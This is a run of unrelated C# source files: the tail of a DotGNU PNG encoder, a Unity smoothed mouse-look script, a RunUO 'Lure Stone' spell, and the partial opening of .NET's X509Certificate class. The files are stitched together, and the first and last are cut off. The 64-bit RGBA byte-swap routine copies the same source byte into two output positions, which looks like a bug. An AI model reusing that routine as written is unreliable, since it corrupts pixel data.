Output 64-bit RGB data with an alpha channel. private static void RgbAlpha64bpp(Frame frame, int y, byte[] scanline) { int width = frame.Width; byte[] data = frame.Data; int posn, offset; offset = y * frame.Stride + width * 8; for(posn = (width - 1) * 8; posn >= 0; posn -= 8) { // Convert BGR data into RGB data and byteswap. offset -= 8; scanline[posn] = data[offset + 5]; scanline[posn + 1] = data[offset + 4]; scanline[posn + 2] = data[offset + 3]; scanline[posn + 3] = data[offset + 1]; scanline[posn + 4] = data[offset + 1]; scanline[posn + 5] = data[offset]; scanline[posn + 6] = data[offset + 7]; scanline[posn + 7] = data[offset + 6]; } } // Output 1-bit indexed data. private static void Indexed1bpp(Frame frame, int y, byte[] scanline) { int width = frame.Width; byte[] data = frame.Data; int posn, offset, bit; offset = y * frame.Stride; bit = 0x80; for(posn = 0; posn < width; ++posn) { if((data[offset] & bit) != 0) { scanline[posn] = 1; } else { scanline[posn] = 0; } bit >>= 1; if(bit == 0) { ++offset; bit = 0x80; } } } // Output 4-bit indexed data. private static void Indexed4bpp(Frame frame, int y, byte[] scanline) { int width = frame.Width; byte[] data = frame.Data; int posn, offset, bit; offset = y * frame.Stride; bit = 4; for(posn = 0; posn < width; ++posn) { scanline[posn] = (byte)((data[offset] >> bit) & 0x0F); bit -= 4; if(bit < 0) { ++offset; bit = 4; } } } // Output 8-bit indexed data. private static void Indexed8bpp(Frame frame, int y, byte[] scanline) { Array.Copy(frame.Data, y * frame.Stride, scanline, 0, frame.Width); } // Output 16-bit grayscale data. private static void GrayScale16bpp(Frame frame, int y, byte[] scanline) { int width = frame.Width; byte[] data = frame.Data; int posn, offset; offset = y * frame.Stride + width * 2; for(posn = (width - 1) * 2; posn >= 0; posn -= 2) { // Byteswap the data. offset -= 2; scanline[posn] = data[offset + 1]; scanline[posn + 1] = data[offset]; } } // Chunk writer class. private class ChunkWriter { // Internal state. private Stream stream; private Crc32 crc; private byte[] header; // Constructor. public ChunkWriter(Stream stream) { this.stream = stream; this.crc = new Crc32(); this.header = new byte [8]; } // Start a chunk with a particular type. public void StartChunk(int type, int length) { // Format the header. Utils.WriteInt32B(header, 0, length); Utils.WriteInt32B(header, 4, type); // Write out the header. stream.Write(header, 0, 8); // Reset the CRC computation and add the chunk type. crc.Reset(); crc.Update(header, 4, 4); } // Write data to the current chunk. public void Write(byte[] buffer, int offset, int count) { if(count > 0) { stream.Write(buffer, offset, count); crc.Update(buffer, offset, count); } } // Write out the end of the current chunk. public void EndChunk() { // Write out the CRC at the end of the chunk. Utils.WriteInt32B(header, 0, (int)(crc.Value)); stream.Write(header, 0, 4); } // Write a full chunk in one call. public void Write(int type, byte[] buffer, int offset, int count) { StartChunk(type, count); Write(buffer, offset, count); EndChunk(); } }; // class ChunkWriter // Zlib compression object. private class ZlibCompressor { // Internal state. private ChunkWriter writer; private Deflater deflater; private byte[] outBuffer; private int outLen; private bool wroteBlock; // Constructor. public ZlibCompressor(ChunkWriter writer) { this.writer = writer; this.deflater = new Deflater(); this.outBuffer = new byte [4096]; this.outLen = 0; this.wroteBlock = false; } // Write data to this compressor. public void Write(byte[] buffer, int offset, int count) { int len; // Set the input for the deflater. if(count == 0) { // Nothing to do if no data was supplied. return; } deflater.SetInput(buffer, offset, count); // Deflate data until the deflater asks for more input. for(;;) { len = deflater.Deflate (outBuffer, outLen, outBuffer.Length - outLen); if(len > 0) { outLen += len; if(outLen >= outBuffer.Length) { writer.Write (PngReader.IDAT, outBuffer, 0, outLen); outLen = 0; wroteBlock = true; } } else { break; } } } // Mark the stream as finished. public void Finish() { int len; // Tell the deflater that the input has finished. deflater.Finish(); // Flush the remaining deflated data to the output buffer. for(;;) { len = deflater.Deflate (outBuffer, outLen, outBuffer.Length - outLen); if(len > 0) { outLen += len; if(outLen >= outBuffer.Length) { writer.Write (PngReader.IDAT, outBuffer, 0, outLen); outLen = 0; wroteBlock = true; } } else { break; } } // Flush the final output block if it is short. if(outLen > 0) { writer.Write(PngReader.IDAT, outBuffer, 0, outLen); wroteBlock = true; } // If we didn't write any blocks, then output a // zero-length IDAT chunk so that we have something. // This shouldn't happen, but let's be paranoid. if(!wroteBlock) { writer.Write(PngReader.IDAT, outBuffer, 0, 0); } } }; // class ZlibCompressor // Scanline writing object. private class ScanlineWriter { // Internal state. private ZlibCompressor compressor; private int bytesPerLine; private int bytesPerPixel; private bool usePaeth; private byte[] scanline; private byte[] prevScanline; private byte[] paeth; private byte[] filter; private int y; // Constructor. public ScanlineWriter(ZlibCompressor compressor, int width, PixelFormat format) { // Initialize the object. this.compressor = compressor; this.usePaeth = true; this.filter = new byte [1]; this.y = 0; // Get the scanline size parameters. switch(format) { case PixelFormat.Format16bppRgb555: case PixelFormat.Format16bppRgb565: case PixelFormat.Format24bppRgb: case PixelFormat.Format32bppRgb: { bytesPerLine = width * 3; bytesPerPixel = 3; } break; case PixelFormat.Format1bppIndexed: case PixelFormat.Format4bppIndexed: case PixelFormat.Format8bppIndexed: { bytesPerLine = width; bytesPerPixel = 1; usePaeth = false; } break; case PixelFormat.Format16bppArgb1555: case PixelFormat.Format32bppPArgb: case PixelFormat.Format32bppArgb: { bytesPerLine = width * 4; bytesPerPixel = 4; } break; case PixelFormat.Format16bppGrayScale: { bytesPerLine = width * 2; bytesPerPixel = 2; } break; case PixelFormat.Format48bppRgb: { bytesPerLine = width * 6; bytesPerPixel = 6; } break; case PixelFormat.Format64bppPArgb: case PixelFormat.Format64bppArgb: { bytesPerLine = width * 8; bytesPerPixel = 8; } break; } // Allocate space for the scanline buffers. scanline = new byte [bytesPerLine]; prevScanline = new byte [bytesPerLine]; paeth = (usePaeth ? new byte [bytesPerLine] : null); } // Get the scanline buffer for the current scanline. public byte[] Buffer { get { return scanline; } } // Flush the current scanline. public void FlushScanline() { byte[] temp; int x, posn, width; int bpp = this.bytesPerPixel; int bytesPerLine = this.bytesPerLine; // Filter the scanline. We use a fairly simple approach, // using no filter for indexed images and the "Paeth" // filter for RGB images, as recommended by RFC-2083. // It is possible to dynamically adjust the filter to // match the scanline, but we don't do that at the moment. if(usePaeth && y > 0 && bytesPerLine > 0) { // Apply the "Paeth" filter to the line. temp = paeth; for(posn = 0; posn < bpp; ++posn) { temp[posn] = (byte)(scanline[posn] - PngReader.Paeth(0, prevScanline[posn], 0)); } for(posn = bpp; posn < bytesPerLine; ++posn) { temp[posn] = (byte)(scanline[posn] - PngReader.Paeth (scanline[posn - bpp], prevScanline[posn], prevScanline[posn - bpp])); } filter[0] = 4; } else { // No filter is needed for this scanline. temp = scanline; filter[0] = 0; } // Write the filter type byte and the filtered scanline. compressor.Write(filter, 0, 1); compressor.Write(temp, 0, bytesPerLine); // Swap the buffers and advance to the next scanline. temp = scanline; scanline = prevScanline; prevScanline = temp; ++y; } }; // class ScanlineWriter }; // class PngWriter }; // namespace DotGNU.Images
using UnityEngine; //Marrt's simplest Mouselook for https://forum.unity.com/threads/a-free-simple-smooth-mouselook.73117/page-2#post-4652755 namespace UnityLibrary { public class MarrtsSmoothedMouseLook : MonoBehaviour { [Header("CameraTransform")] public Transform targetTrans; [Header("On/Off & Settings")] public bool inputActive = true; public bool controlCursor = false; [Header("Smoothing")] public bool byPassSmoothing = false; public float mLambda = 20F; //higher = less latency but also less smoothing [Header("Sensitivity")] public float hSens = 4F; public float vSens = 4F; public BufferV2 mouseBuffer = new BufferV2(); public enum AxisClampMode { None, Hard, Soft } [Header("Restricting Look")] public AxisClampMode pitchClamp = AxisClampMode.Soft; [Range(-180F,180F)] public float pMin = -80F; [Range(-180F,180F)] public float pMax = 80F; [Header("Yaw should be left None, Message me if you really need this functionality")] public AxisClampMode yawClamp = AxisClampMode.None; [Range(-180F,180F)] public float yMin = -140F; [Range(-180F,180F)] public float yMax = 140F; //public bool smoothingDependence = Timescale Framerate void Update () { //if(Input.GetKeyDown(KeyCode.Space)){inputActive = !inputActive;} if(controlCursor){ //Cursor Control if( inputActive && Cursor.lockState != CursorLockMode.Locked) { Cursor.lockState = CursorLockMode.Locked; } if( !inputActive && Cursor.lockState != CursorLockMode.None) { Cursor.lockState = CursorLockMode.None; } } if(!inputActive){ return; } //active? //Update input UpdateMouseBuffer(); targetTrans.rotation = Quaternion.Euler( mouseBuffer.curAbs ); } //consider late Update for applying the rotation if your game needs it (e.g. if camera parents are rotated in Update for some reason) void LateUpdate() {} private void UpdateMouseBuffer() { float rawPitchDelta = vSens * -Input.GetAxisRaw("Mouse Y"); switch(pitchClamp){ case AxisClampMode.None: mouseBuffer.target.x += rawPitchDelta; break; case AxisClampMode.Hard: mouseBuffer.target.x = Mathf.Clamp(mouseBuffer.target.x +rawPitchDelta, pMin, pMax); break; case AxisClampMode.Soft: mouseBuffer.target.x += SoftPitchClamping.DeltaMod( mouseBuffer.target.x, rawPitchDelta, Mathf.Abs(pMax*0.5F), Mathf.Abs(pMax) ); break; //symetric clamping only for now, max is used } float rawYawDelta = hSens * Input.GetAxisRaw("Mouse X"); switch(yawClamp){ case AxisClampMode.None: mouseBuffer.target.y += rawYawDelta; break; case AxisClampMode.Hard: mouseBuffer.target.y = Mathf.Clamp(mouseBuffer.target.y +rawYawDelta, yMin, yMax); break; case AxisClampMode.Soft: Debug.LogWarning("SoftYaw clamp should be implemented with Quaternions to work in every situation"); mouseBuffer.target.y += SoftPitchClamping.DeltaMod( mouseBuffer.target.y, rawYawDelta, Mathf.Abs(yMax*0.5F), Mathf.Abs(yMax) ); break; } mouseBuffer.Update( mLambda, Time.deltaTime, byPassSmoothing ); } } #region Helpers [System.Serializable] public class BufferV2{ public BufferV2(){ this.target = Vector2.zero; this.buffer = Vector2.zero; } public BufferV2( Vector2 targetInit, Vector2 bufferInit ) { this.target = targetInit; this.buffer = bufferInit; } /*private*/public Vector2 target; /*private*/public Vector2 buffer; public Vector2 curDelta; //Delta: apply difference from lastBuffer state to current BufferState //get difference between last and new buffer public Vector2 curAbs; //absolute /// <summary>Update Buffer By supplying new target</summary> public void UpdateByNewTarget( Vector2 newTarget, float dampLambda, float deltaTime ){ this.target = newTarget; Update(dampLambda, deltaTime); } /// <summary>Update Buffer By supplying the rawDelta to the last target</summary> public void UpdateByDelta( Vector2 rawDelta, float dampLambda, float deltaTime ){ this.target = this.target +rawDelta; //update Target Update(dampLambda, deltaTime); } /// <summary>Update Buffer</summary> public void Update( float dampLambda, float deltaTime, bool byPass = false ){ Vector2 last = buffer; //last state of Buffer this.buffer = byPass? target : DampToTargetLambda( buffer, this.target, dampLambda, deltaTime); //damp current to target this.curDelta = buffer -last; this.curAbs = buffer; } public static Vector2 DampToTargetLambda( Vector2 current, Vector2 target, float lambda, float dt){ return Vector2. Lerp(current, target, 1F -Mathf.Exp( -lambda *dt) ); } } public static class SoftPitchClamping{ public static float DeltaMod( float currentPitch, float delta, float softMax = 45F, float hardMax = 85F ){ //doesnt work for input above 90F pitch, unity might invert roll and decrease pitch again //transform into -180 to 180 range (allowed input range = 0-360F ) float wrapped = Wrap.Float( currentPitch, -180F, 180F ); float sign = Mathf.Sign( wrapped ); float absolute = Mathf.Abs ( wrapped ); // treat current as mapped value, so unmap it via reversing // https://rechneronline.de/function-graphs/ // revert remap: e^((((log(x/45)+1)*45)/45)-1)*45 // remap: (log(x/45)+1)*45 float remapped = absolute; if( absolute > softMax ){ // e^ (( (( log( x/45 )+1 )*45 ) /45 ) -1 )*45 // remapped = Mathf.Exp(( (( Mathf.Log(remapped/softMax)+1F )*softMax ) /softMax) -1F)*softMax ; remapped = Mathf.Exp(( remapped /softMax) -1F)*softMax ; //x*0.5+45*0.5 } //apply delta to unmapped, sign needs to be taken into consideration for delta remapped += (delta *sign); //float raw = remapped +(delta *sign); //remap, only needed if exceeding softrange if( remapped > softMax ){ // (( log( x/45 )+1 )*45 ) remapped = (( Mathf.Log(remapped/softMax)+1F )*softMax ); //x*0.5+45*0.5 } remapped *= sign; remapped = Mathf.Clamp( remapped, -hardMax, +hardMax); float newDelta = ( remapped -wrapped ); //print( "wrapped\t"+wrapped+" (from:"+currentPitch+")"+"\nremapped\t"+remapped +" (raw :"+raw+")"); return newDelta; // return delta; } public static class Wrap{ //can be used to clamp angles from 0-360 to 0-180 by feeding (value,-180,180) //https://stackoverflow.com/questions/1628386/normalise-orientation-between-0-and-360 //Normalizes any number to an arbitrary range //by assuming the range wraps around when going below min or above max public static float Float( float value, float start, float end ){ float width = end - start ; // float offsetValue = value - start ; // value relative to 0 return ( offsetValue - ( Mathf.Floor( offsetValue / width ) * width ) ) + start ; // + start to reset back to start of original range } //Normalizes any number to an arbitrary range //by assuming the range wraps around when going below min or above max public static int Int( int value, int start, int end ){ int width = end - start ; // int offsetValue = value - start ; // value relative to 0 return ( offsetValue - ( ( offsetValue / width ) * width ) ) + start ; // + start to reset back to start of original range } } } #endregion Helpers }
using System; using Server.Targeting; using Server.Network; using Server.Misc; using Server.Items; using Server.Mobiles; namespace Server.Spells.Druid { public class LureStoneSpell : DruidicSpell { private LureStone m_Circlea; private Item m_Circleb; // private LureStone m_Circlec; private static SpellInfo m_Info = new SpellInfo( "Lure Stone", "En Kes Ohm Crur", //SpellCircle.Second, 269, 9020, false, Reagent.PetrifiedWood, Reagent.SpringWater ); public LureStoneSpell( Mobile caster, Item scroll ) : base( caster, scroll, m_Info ) { } public override TimeSpan CastDelayBase { get { return TimeSpan.FromSeconds( 1 ); } } public override SpellCircle Circle { get { return SpellCircle.Second; } } public override double RequiredSkill{ get{ return 25.0; } } public override int RequiredMana{ get{ return 30; } } public override bool CheckCast() { if ( !base.CheckCast() ) return false; return true; } public override void OnCast() { Caster.Target = new InternalTarget( this ); } public void Target( IPoint3D p ) { if ( !Caster.CanSee( p ) ) { Caster.SendLocalizedMessage( 500237 ); // Target can not be seen. } else if ( /*SpellHelper.CheckTown( p, Caster ) &&*/ CheckSequence() ) { SpellHelper.Turn( Caster, p ); SpellHelper.GetSurfaceTop( ref p ); Effects.PlaySound( p, Caster.Map, 0x243 ); int stonex; int stoney; int stonez; Point3D loc = new Point3D( p.X, p.Y, p.Z ); Item item = new InternalItema( loc, Caster.Map, Caster ); stonex=p.X; stoney=p.Y-1; stonez=p.Z; Point3D loca = new Point3D( stonex, stoney, stonez ); Item itema = new InternalItemb( loca, Caster.Map, Caster ); } FinishSequence(); } [DispellableField] private class InternalItema : Item { private Timer m_Timer; private DateTime m_End; private Mobile m_Owner; public override bool BlocksFit{ get{ return true; } } public InternalItema( Point3D loc, Map map, Mobile caster ) : base( 0x1355 ) { m_Owner=caster; Visible = false; Movable = false; Name="Lure Stone"; MoveToWorld( loc, map ); if ( caster.InLOS( this ) ) Visible = true; else Delete(); if ( Deleted ) return; m_Timer = new InternalTimer( this, TimeSpan.FromSeconds( 30.0 ) ); m_Timer.Start(); m_End = DateTime.Now + TimeSpan.FromSeconds( 30.0 ); } public InternalItema( Serial serial ) : base( serial ) { } public override bool HandlesOnMovement{ get{ return true;} } public override void Serialize( GenericWriter writer ) { base.Serialize( writer ); writer.Write( (int) 1 ); // version writer.Write( m_End - DateTime.Now ); } public override void Deserialize( GenericReader reader ) { base.Deserialize( reader ); int version = reader.ReadInt(); switch ( version ) { case 1: { TimeSpan duration = reader.ReadTimeSpan(); m_Timer = new InternalTimer( this, duration ); m_Timer.Start(); m_End = DateTime.Now + duration; break; } case 0: { TimeSpan duration = TimeSpan.FromSeconds( 10.0 ); m_Timer = new InternalTimer( this, duration ); m_Timer.Start(); m_End = DateTime.Now + duration; break; } } } public override void OnMovement(Mobile m, Point3D oldLocation ) { if(m_Owner!=null) { if ( m.InRange( this, 600 ) ) { double tamer = m_Owner.Skills[SkillName.AnimalLore].Value; double bonus = m_Owner.Skills[SkillName.AnimalTaming].Value/100; BaseCreature cret = m as BaseCreature; if(cret!=null) if(tamer>=99.9&&(cret.Combatant==null||!cret.Combatant.Alive||cret.Combatant.Deleted)) { cret.TargetLocation = new Point2D( this.X,this.Y ); } else if(cret.Tamable&&(cret.Combatant==null||!cret.Combatant.Alive||cret.Combatant.Deleted)) { if(cret.MinTameSkill<=(tamer+bonus)+0.1) cret.TargetLocation = new Point2D( this.X,this.Y ); } } } } public override void OnAfterDelete() { base.OnAfterDelete(); if ( m_Timer != null ) m_Timer.Stop(); } private class InternalTimer : Timer { private InternalItema m_Item; public InternalTimer( InternalItema item, TimeSpan duration ) : base( duration ) { m_Item = item; } protected override void OnTick() { m_Item.Delete(); } } } [DispellableField] private class InternalItemb : Item { private Timer m_Timer; private DateTime m_End; public override bool BlocksFit{ get{ return true; } } public InternalItemb( Point3D loc, Map map, Mobile caster ) : base( 0x1356 ) { Visible = false; Movable = false; MoveToWorld( loc, map ); if ( caster.InLOS( this ) ) Visible = true; else Delete(); if ( Deleted ) return; m_Timer = new InternalTimer( this, TimeSpan.FromSeconds( 30.0 ) ); m_Timer.Start(); m_End = DateTime.Now + TimeSpan.FromSeconds( 30.0 ); } public InternalItemb( Serial serial ) : base( serial ) { } public override void Serialize( GenericWriter writer ) { base.Serialize( writer ); writer.Write( (int) 1 ); // version writer.Write( m_End - DateTime.Now ); } public override void Deserialize( GenericReader reader ) { base.Deserialize( reader ); int version = reader.ReadInt(); switch ( version ) { case 1: { TimeSpan duration = reader.ReadTimeSpan(); m_Timer = new InternalTimer( this, duration ); m_Timer.Start(); m_End = DateTime.Now + duration; break; } case 0: { TimeSpan duration = TimeSpan.FromSeconds( 10.0 ); m_Timer = new InternalTimer( this, duration ); m_Timer.Start(); m_End = DateTime.Now + duration; break; } } } public override void OnAfterDelete() { base.OnAfterDelete(); if ( m_Timer != null ) m_Timer.Stop(); } private class InternalTimer : Timer { private InternalItemb m_Item; public InternalTimer( InternalItemb item, TimeSpan duration ) : base( duration ) { m_Item = item; } protected override void OnTick() { m_Item.Delete(); } } } private class InternalTarget : Target { private LureStoneSpell m_Owner; public InternalTarget( LureStoneSpell owner ) : base( 12, true, TargetFlags.None ) { m_Owner = owner; } protected override void OnTarget( Mobile from, object o ) { if ( o is IPoint3D ) m_Owner.Target( (IPoint3D)o ); } protected override void OnTargetFinish( Mobile from ) { m_Owner.FinishSequence(); } } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. namespace System.Security.Cryptography.X509Certificates { using Microsoft.Win32; using System; using System.IO; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Runtime.Serialization; using System.Security; using System.Security.Permissions; using System.Security.Util; using System.Text; using System.Runtime.Versioning; using System.Globalization; using System.Diagnostics.Contracts; [System.Runtime.InteropServices.ComVisible(true)] public enum X509ContentType { Unknown = 0x00, Cert = 0x01, SerializedCert = 0x02, Pfx = 0x03, Pkcs12 = Pfx, SerializedStore = 0x04, Pkcs7 = 0x05, Authenticode = 0x06 } // DefaultKeySet, UserKeySet and MachineKeySet are mutually exclusive [Serializable] [Flags] [System.Runtime.InteropServices.ComVisible(true)] public enum X509KeyStorageFlags { DefaultKeySet = 0x00, UserKeySet = 0x01, MachineKeySet = 0x02, Exportable = 0x04, UserProtected = 0x08, PersistKeySet = 0x10 } [Serializable] [System.Runtime.InteropServices.ComVisible(true)] public class X509Certificate : IDisposable, IDeserializationCallback, ISerializable { private const string m_format = "X509"; private string m_subjectName; private string m_issuerName; private byte[] m_serialNumber; private byte[] m_publicKeyParameters; private byte[] m_publicKeyValue; private string m_publicKeyOid; private byte[] m_rawData; private byte[] m_thumbprint; private DateTime m_notBefore; private DateTime m_notAfter; [System.Security.SecurityCritical] // auto-generated private SafeCertContextHandle m_safeCertContext; private bool m_certContextCloned = false; // // public constructors // [System.Security.SecuritySafeCritical] // auto-generated private void Init() { m_safeCertContext = SafeCertContextHandle.InvalidHandle; } public X509Certificate () { Init(); } public X509Certificate (byte[] data):this() { if ((data != null) && (data.Length != 0)) LoadCertificateFromBlob(data, null, X509KeyStorageFlags.DefaultKeySet); } public X509Certificate (byte[] rawData, string password):this() { #if FEATURE_LEGACYNETCF if ((rawData != null) && (rawData.Length != 0)) { #endif LoadCertificateFromBlob(rawData, password, X509KeyStorageFlags.DefaultKeySet); #if FEATURE_LEGACYNETCF } #endif } #if FEATURE_X509_SECURESTRINGS public X509Certificate (byte[] rawData, SecureString password):this() { LoadCertificateFromBlob(rawData, password, X509KeyStorageFlags.DefaultKeySet); } #endif // FEATURE_X509_SECURESTRINGS public X509Certificate (byte[] rawData, string password, X509KeyStorageFlags keyStorageFlags):this() { #if FEATURE_LEGACYNETCF if ((rawData != null) && (rawData.Length != 0)) { #endif LoadCertificateFromBlob(rawData, password, keyStorageFlags); #if FEATURE_LEGACYNETCF } #endif } #if FEATURE_X509_SECURESTRINGS public X509Certificate (byte[] rawData, SecureString password, X509KeyStorageFlags keyStorageFlags):this() { LoadCertificateFromBlob(rawData, password, keyStorageFlags); } #endif // FEATURE_X509_SECURESTRINGS #if FEATURE_CORECLR [System.Security.SecurityCritical] // auto-generated #else [System.Security.SecuritySafeCritical] #endif public X509Certificate (string fileName):this() { LoadCertificateFromFile(fileName, null, X509KeyStorageFlags.DefaultKeySet); } #if FEATURE_CORECLR [System.Security.SecurityCritical] // auto-generated #else [System.Security.SecuritySafeCritical] #endif public X509Certificate (string fileName, string password):this() { LoadCertificateFromFile(fileName, password, X509KeyStorageFlags.DefaultKeySet); } #if FEATURE_X509_SECURESTRINGS [System.Security.SecuritySafeCritical] // auto-generated public X509Certificate (string fileName, SecureString password):this() { LoadCertificateFromFile(fileName, password, X509KeyStorageFlags.DefaultKeySet); } #endif // FEATURE_X509_SECURESTRINGS #if FEATURE_CORECLR [System.Security.SecurityCritical] // auto-generated #else [System.Security.SecuritySafeCritical] #endif public X509Certificate (string fileName, string password, X509KeyStorageFlags keyStorageFlags):this() { LoadCertificateFromFile(fileName, password, keyStorageFlags); } #if FEATURE_X509_SECURESTRINGS [System.Security.SecuritySafeCritical] // auto-generated public X509Certificate (string fileName, SecureString password, X509KeyStorageFlags keyStorageFlags):this() { LoadCertificateFromFile(fileName, password, keyStorageFlags); } #endif // FEATURE_X509_SECURESTRINGS // Package protected constructor for creating a certificate from a PCCERT_CONTEXT [System.Security.SecurityCritical] // auto-generated_required #if !FEATURE_CORECLR [SecurityPermissionAttribute(SecurityAction.InheritanceDemand, Flags=SecurityPermissionFlag.UnmanagedCode)] #endif public X509Certificate (IntPtr handle):this() { if (handle == IntPtr.Zero) throw new ArgumentException(Environment.GetResourceString("Arg_InvalidHandle"), "handle"); Contract.EndContractBlock(); X509Utils._DuplicateCertContext(handle, ref m_safeCertContext); } [System.Security.SecuritySafeCritical] // auto-generated public X509Certificate (X509Certificate cert):this() { if (cert == null) throw new ArgumentNullException("cert"); Contract.EndContractBlock(); if (cert.m_safeCertContext.pCertContext != IntPtr.Zero) { m_safeCertContext = cert.GetCertContextForCloning(); m_certContextCloned = true; } } public X509Certificate (SerializationInfo info, StreamingContext context):this() { byte[] rawData = (byte[]) info.GetValue("RawData", typeof(byte[])); if (rawData != null) LoadCertificateFromBlob(rawData, null, X509KeyStorageFlags.DefaultKeySet); } #if FEATURE_CORECLR [System.Security.SecurityCritical] // auto-generated #endif public static X509Certificate CreateFromCertFile (string filename) { return new X509Certificate(filename); } public static X509Certificate CreateFromSignedFile (string filename) { return new X509Certificate(filename); } [System.Runtime.InteropServices.ComVisible(false)] public IntPtr Handle { [System.Security.SecurityCritical] // auto-generated_required #if !FEATURE_CORECLR [SecurityPermissionAttribute(SecurityAction.InheritanceDemand, Flags=SecurityPermissionFlag.UnmanagedCode)] #endif get { return m_safeCertContext.pCertContext; } } [System.Security.SecuritySafeCritical] // auto-generated [Obsolete("This method has been deprecated. Please use the Subject property instead. http://go.microsoft.com/fwlink/?linkid=14202")] public virtual string GetName() { ThrowIfContextInvalid(); return X509Utils._GetSubjectInfo(m_safeCertContext, X509Constants.CERT_NAME_RDN_TYPE, true); } [System.Security.SecuritySafeCritical] // auto-generated [Obsolete("This method has been deprecated. Please use the Issuer property instead. http://go.microsoft.com/fwlink/?linkid=14202")] public virtual string GetIssuerName() { ThrowIfContextInvalid(); return X509Utils._GetIssuerName(m_safeCertContext, true); } [System.Security.SecuritySafeCritical] // auto-generated public virtual byte[] GetSerialNumber() { ThrowIfContextInvalid(); if (m_serialNumber == null) m_serialNumber = X509Utils._GetSerialNumber(m_safeCertContext); return (byte[]) m_serialNumber.Clone(); } public virtual string GetSerialNumberString() { return SerialNumber; } [System.Security.SecuritySafeCritical] // auto-generated public virtual byte[] GetKeyAlgorithmParameters() { ThrowIfContextInvalid(); if (m_publicKeyParameters == null) m_publicKeyParameters = X509Utils._GetPublicKeyParameters(m_safeCertContext); return (byte[]) m_publicKeyParameters.Clone(); } [System.Security.SecuritySafeCritical] // auto-generated public virtual string GetKeyAlgorithmParametersString() { ThrowIfContextInvalid(); return Hex.EncodeHexString(GetKeyAlgorithmParameters()); } [System.Security.SecuritySafeCritical] // auto-generated public virtual string GetKeyAlgorithm() { ThrowIfContextInvalid(); if (m_publicKeyOid == null) m_publicKeyOid = X509Utils._GetPublicKeyOid(m_safeCertContext); return m_publicKeyOid; } [System.Security.SecuritySafeCritical] // auto-generated public virtual byte[] GetPublicKey() { ThrowIfContextInvalid(); if (m_publicKeyValue == null) m_publicKeyValue = X509Utils._GetPublicKeyValue(m_safeCertContext); return (byte[]) m_publicKeyValue.Clone(); } public virtual string GetPublicKeyString() { return Hex.EncodeHexString(GetPublicKey()); } [System.Security.SecuritySafeCritical] // auto-generated public virtual byte[] GetRawCertData() { return RawData; } public virtual string GetRawCertDataString() { return Hex.EncodeHexString(GetRawCertData()); } public virtual byte[] GetCertHash() { SetThumbprint(); return (byte[]) m_thumbprint.Clone(); } public virtual string GetCertHashString() { SetThumbprint(); return Hex.EncodeHexString(m_thumbprint); } public virtual string GetEffectiveDateString() { return NotBefore.ToString(); } public virtual string GetExpirationDateString() { return NotAfter.ToString(); } [System.Runtime.InteropServices.ComVisible(false)] public override bool Equals (Object obj) { if (!(obj is X509Certificate)) return false; X509Certificate other = (X509Certificate) obj; return this.Equals(other); } [System.Security.SecuritySafeCritical] // auto-generated public virtual bool Equals (X509Certificate other) { if (other == null) return false; if (m_safeCertContext.IsInvalid) return other.m_safeCertContext.IsInvalid; if (!this.Issuer.Equals(other.Issuer)) return false; if (!this.SerialNumber.Equals(other.SerialNumber)) return false; return true; } [System.Security.SecuritySafeCritical] // auto-generated public override int GetHashCode() { if (m_safeCertContext.IsInvalid) return 0; SetThumbprint(); int value = 0; for (int i = 0; i < m_thumbprint.Length && i < 4; ++i) { value = value << 8 | m_thumbprint[i]; } return value; } public override string ToString() { return ToString(false); } [System.Security.SecuritySafeCritical] // auto-generated public virtual string ToString (bool fVerbose) { if (fVerbose == false || m_safeCertContext.IsInvalid) return GetType().FullName; StringBuilder sb = new StringBuilder(); // Subject sb.Append("[Subject]" + Environment.NewLine + " "); sb.Append(this.Subject); // Issuer sb.Append(Environment.NewLine + Environment.NewLine + "[Issuer]" + Environment.NewLine + " "); sb.Append(this.Issuer); // Serial Number sb.Append(Environment.NewLine + Environment.NewLine + "[Serial Number]" + Environment.NewLine + " "); sb.Append(this.SerialNumber); // NotBefore sb.Append(Environment.NewLine + Environment.NewLine + "[Not Before]" + Environment.NewLine + " "); sb.Append(FormatDate(this.NotBefore)); // NotAfter sb.Append(Environment.NewLine + Environment.NewLine + "[Not After]" + Environment.NewLine + " "); sb.Append(FormatDate(this.NotAfter)); // Thumbprint sb.Append(Environment.NewLine + Environment.NewLine + "[Thumbprint]" + Environment.NewLine + " "); sb.Append(this.GetCertHashString()); sb.Append(Environment.NewLine); return sb.ToString(); } /// <summary> /// Convert a date to a string. /// /// Some cultures, specifically using the Um-AlQura calendar cannot convert dates far into /// the future into strings. If the expiration date of an X.509 certificate is beyond the range /// of one of these these cases, we need to fall back to a calendar which can express the dates /// </summary> protected static string FormatDate(DateTime date) { CultureInfo culture = CultureInfo.CurrentCulture; if (!culture.DateTimeFormat.Calendar.IsValidDay(date.Year, date.Month, date.Day, 0)) { // The most common case of culture failing to work is in the Um-AlQuara calendar. In this case, // we can fall back to the Hijri calendar, otherwise fall back to the invariant culture. if (culture.DateTimeFormat.Calendar is UmAlQuraCalendar) { culture = culture.Clone() as CultureInfo; culture.DateTimeFormat.Calendar = new HijriCalendar(); } else { culture = CultureInfo.InvariantCulture; } } return date.ToString(culture); } public virtual string GetFormat() { return m_format; } public string Issuer { [System.Security.SecuritySafeCritical] // auto-generated get { ThrowIfContextInvalid(); if (m_issuerName == null) m_issuerName = X509Utils._GetIssuerName(m_safeCertContext, false); return m_issuerName; } } public string Subject { [System.Security.SecuritySafeCritical] // auto-generated get { ThrowIfContextInvalid(); if (m_subjectName == null) m_subjectName = X509Utils._GetSubjectInfo(m_safeCertContext, X509Constants.CERT_NAME_RDN_TYPE, false); return m_subjectName; } } #if FEATURE_CORECLR [System.Security.SecuritySafeCritical] // auto-generated #else [System.Security.SecurityCritical] #endif // auto-generated_required [System.Runtime.InteropServices.ComVisible(false)] #pragma warning disable 618 [PermissionSetAttribute(SecurityAction.InheritanceDemand, Unrestricted=true)] #pragma warning restore 618 public virtual void Import(byte[] rawData) { Reset(); LoadCertificateFromBlob(rawData, null, X509KeyStorageFlags.DefaultKeySet); } #if FEATURE_CORECLR [System.Security.SecuritySafeCritical] // auto-generated #else [System.Security.SecurityCritical] #endif // auto-generated_required [System.Runtime.InteropServices.ComVisible(false)] #pragma warning disable 618 [PermissionSetAttribute(SecurityAction.InheritanceDemand, Unrestricted=true)] #pragma warning restore 618 public virtual void Import(byte[] rawData, string password, X509KeyStorageFlags keyStorageFlags) { Reset(); LoadCertificateFromBlob(rawData, password, keyStorageFlags); } #if FEATURE_X509_SECURESTRINGS [System.Security.SecurityCritical] // auto-generated_required #pragma warning disable 